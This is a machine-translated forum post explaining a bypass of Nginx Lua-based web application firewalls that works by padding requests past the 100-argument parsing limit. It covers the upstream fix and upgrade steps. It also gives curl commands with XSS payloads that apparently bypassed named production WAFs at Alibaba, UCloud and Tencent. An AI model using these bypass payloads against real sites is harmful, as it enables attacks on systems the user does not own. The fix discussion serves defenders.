Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 16994|Отговор: 1

[Уязвимост в сигурността] Уязвимостта на WAF Application Firewall на Nginx Lua

[Копирай линк]
Публикувано в 27.04.2018 г. 9:23:29 ч. | | | |
Когато ginx Lua получи параметри, първите 100 стойности на параметъра се получават по подразбиране, а останалите се изхвърлят.
Затова WAF-ите, използващи Nginx Lua, ще бъдат заобиколени по подразбиране.
На 20 април 18 април някой от пътника за сигурност вече беше разкрил тази подробност, затова публикувах и тази статия 233.



Принцип

Официалното описание е следното

Имайте предвид, че по подразбиране се парсират максимум 100 аргумента за заявка (включително тези със същото име) и че допълнителните аргументи за заявка се отхвърлят безмълвно, за да се предпази от потенциални Атаки с отказ на обслужване.

До 100 параметъра за заявка (включително тези със същото име) могат да се анализират по подразбиране, а допълнителни параметри за заявка се премахват автоматично, за да се предотвратят потенциални атаки за отказ на услуга.

Търсете 100, приблизително следният метод има същия проблем.
ngx.req.get_uri_args Вземете параметрите на заявката за get
ngx.req.get_post_args Вземете параметрите за заявка за публикацията
ngx.req.get_headers Вземи заглавието за заявки
ngx.decode_args Декодиране на URL адреса на параметрите
ngx.resp.get_headers Вземи заглавието за отговор
В изходния код на lua-nginx-module можем да видим, че изходният код задава по подразбиране максималния параметър и заглавие на 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Въпреки това, официалното лице предоставя метод за промяна на стойността по подразбиране, като например ngx.req.get_uri_args (200), за да се получат първите 200 параметъра за заявка.

Тест

Ако параметърът на заявката е 101, последният параметър на заявка не може да бъде получен.

Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Ако намалите един параметър за заявка, можете да получите последния параметър на заявка, когато параметрите на заявката са точно 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
Отговор: ZBG
Имам те, zbg

Обърнете внимание, че по подразбиране са 100 параметъра за заявка, а параметрите на заявката след 100 параметъра на заявката ще бъдат изхвърлени.

Има нещо странно, че в връщащото съдържание по-горе, в средата на грубата позиция, крайният параметър zbg вече е изходен. Моето предположение е, че изходът не е в реда, но редът, в който е парсинга, следва реда, в който се подават параметрите, защото когато стойността на 101-вия параметър е zbg, стойността не може да бъде получена.

Приложен е python скриптът, който генерира параметрите:

# Автор: ZBG
# Поща:zbg@zbg.org
# Дата: 2018-04-03

a = ''
За I в обхвата (200):
    a = a + 'A{0}={1}&'.format(i+1, i+1)
Печатай А
поправка
Разбира се, не се препоръчва да се променя MAX стойността на параметъра в изходния код. Защото, независимо колко голяма е стойността, тя може да бъде заобиколена. Препоръчва се да се задава чрез параметрите на метода.
Ако успееш да получиш дължината на параметъра на заявката и използваш метод като ngx.req.get_uri_args (lenth), няма ли да е достатъчно?
Четейки документацията, установих, че броят на поисканите параметри не може да бъде получен. Въпреки това, ако зададеш дължината на 0, можеш да получиш всички поискани параметри.

Този аргумент може да бъде зададен на нула, за да се премахне лимитът и да се обработват всички получени заявени аргументи.
Локални ARGS = ngx.req.get_uri_args(0)

Въпреки това, силно се препоръчва да се задава на 0, за да се предотвратят потенциални атаки за отказ на услуга.

Премахването на max_args капака е силно обезкуражаващо.

Всъщност се чудех защо настройка 0 би довела до потенциална атака за отказ на услуга, а заявката така или иначе отива към nginx, независимо колко параметри има в get или post.

Повдигнах въпрос пред служителя, а авторът каза, че ngx.req.get_uri_args (0) ще увеличи използването на процесора и паметта на сървъра. По-късно тествах 200 параметъра и използвах Nginx+php, за да получа 200-ия параметър, което означава, че Nginx по подразбиране не ограничава броя на поисканите параметри. Тогава проблемът може да се крие в самия Nginx Lua,Когато Nginx Lua използва ngx.req.get_uri_args(0), за да получи всички параметри и ги итерира, след като се поискат много параметри, това използва повече процесор и памет, а в крайна сметка дори води до отказ на услуга

На 03.04.2018 г. Bypass007 официално повдигна ПРОБЛЕМ относно тази поправка на бъг и най-накрая официално добави нова функция, базирана на този ПРОБЛЕМ, на 21.04.2018 г. Адресът на записа на тази функция: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Описанието на функцията е следното: В версии след v0.10.13 (включително v0.10.13), когато лимитът на заявките бъде нарушен, втората връщана стойност е отсеченият низ.
От v0.10.13, когато лимитът бъде надминат, ще се върне втора стойност, която е низът "отрязан".
Въпреки това, опционалният аргумент max_args функция може да се използва за преодоляване на това ограничение:
Местни ARGS, ERR = ngx.req.get_uri_args(10)
ако err == "откъснато" тогава
     -- тук може да се игнорира или отхвърли текущата молба
край

Така че излезе окончателната поправка.

Ъпгрейд на lua-nginx-module до v0.10.13 или по-нова версия

След това ограничете общия брой параметри, а по отношение на това колко е ограничен, лично аз мисля, че 100 са достатъчни.

OpenResty надгражда модула lua-nginx

Не намерих никаква информация за модула за ъпгрейд на OpenResty, затова сам разбрах как да ъпгрейдна модула lua-nginx.

Стъпките са следните:

Изтеглете съответната версия на модула lua-nginx-module
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
Разопаковам
tar -zxvf v0.10.13
Изтрийте предишната версия на lua-nginx-module
RM -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Копирай новия lua-nginx-модул
MV lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
За компилация вижте параметрите за компилация на VeryNginx


Обход на корпуса

Трябва да се уточни, че следните WAF не съм сигурен дали да използвам Nginx Lua, но те могат да бъдат заобиколени от общия брой параметри.

Али WAF

Този WAF е WAF, използван вътрешно от Alibaba, тоест WAF, използван от домейн имена като *.taobao.com, и не е бил тестван за облачния WAF, продаван от Alibaba Cloud.
Първо, поискайте POST XSS полезен товар, който да го прихване.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Чрез Fuzz беше установено, че когато броят на параметрите се увеличи до 478 с XSS Payload, те вече не се прихващат и уебсайтът може да бъде достъпен нормално.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Тестваният WAF е WAF, продаван от UCloud.
Когато параметърът на заявката бъде увеличен до 138, той вече няма да бъде блокиран и уебсайтът ще се достъпва нормално.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Този WAF е WAF, използван от Tencent вътрешно, тоест WAF, използван от домейн имена като *.qq.com, и не е бил тестван за облачния WAF, продаван от Tencent Cloud.
Когато параметърът за заявка се увеличи до 4000, той вече няма да бъде блокиран и уебсайтът ще се достъпва нормално. Засегнати са случайни тестове на следните области.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

резюме

Този въпрос е много прост и можете да го намерите, като прочетете внимателно документа. Но защо не разбрах? Мисля, че все още е твърде малко мислене.
Референция
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Предишен:Научи Photoshop от нулата, 18 урока от начинаещ до бога
Следващ:Силни и слаби страни на Lua и Luajit
Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com